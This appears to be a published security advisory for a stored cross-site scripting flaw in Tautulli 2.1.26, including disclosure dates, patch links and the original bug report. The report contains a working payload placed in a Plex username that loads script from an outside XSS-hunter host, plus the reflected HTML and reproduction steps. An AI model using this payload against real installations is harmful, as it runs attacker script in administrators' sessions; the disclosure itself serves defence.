Tautulli 2.1.26 Cross Site Scripting

Tautulli version 2.1.26 suffers from a cross site scripting vulnerability.


MD5 | 3d14c8e0a35f6c302f71c16b2f54c6f8

Tautulli (https://tautulli.com/) is a Python based monitoring and tracking tool for Plex Media Server.

We discovered that an authenticated Plex Media Server user could change their Plex username to include JavaScript and Tautulli would fail to sanitize the username so that when the Plex Media Server administrator viewed certain pages generated by Tautulli, the JavaScript would be executed in the context of the server administrator.

This was disclosed to the project's issue tracker on 19 February 2019 and was marked as fixed in the next release by the developer on 20 February 2019.

Initial Report: https://github.com/Tautulli/Tautulli-Issues/issues/161
Patch: https://github.com/Tautulli/Tautulli/commit/6a21d7690a40ea4678ad0908a6a1846c289cc943

Report:

**Version:**
2.1.26

**What you did?**
I changed my Plex username to `geeknik"><script src=https://zed.xss.ht></script>`.

**What happened?**
Tautulli does not filter out JavaScript when reading usernames and when the admin visits the History page, the JavaScript is executed in the context of said admin.

Lines 112-128 are vulnerable:
https://github.com/Tautulli/Tautulli/blob/56a91de2c4ff0fdd8fbdff4dd7d7677bd16a4b28/data/interfaces/default/history.html#L112

Here we can see how it is reflected:

```
<label>
<select name="history-user" id="history-user" class="btn" style="color: inherit;">
<option value="">All Users</option>
<option disabled="">aaaaaaaaaaaa</option>
<option value="xxx">user1</option><option value="xxx">user2</option><option value="xxx">user3</option><option value="xxx">user4</option><option value="xxx">DomitianX</option><option value="xxx">geeknik"><script src="https://zed.xss.ht"></script></option><option value="xxx">user5</option><option value="xxx">user6</option><option value="xxx">user7</option><option value="xxx">user8</option><option value="0">Local</option><option value="xxx">user9</option><option value="xxx">user10</option><option value="xxx">user11</option><option value="xxx">user12</option><option value="xxx">user13</option><option value="xxx">user14</option><option value="xxx">user15</option><option value="xxx">user16</option><option value="xxx">user17</option></select>
</label>
```

**What you expected?**
I didn't expect my friend's Plex server to leak a bunch of information at me.

**How can we reproduce your issue?**
Setup a Plex Media Server, Install Tautulli, create a normal Plex user account to consume media. Change the user account name to something with JavaScript. Visit the Tautulli History page.




Related Posts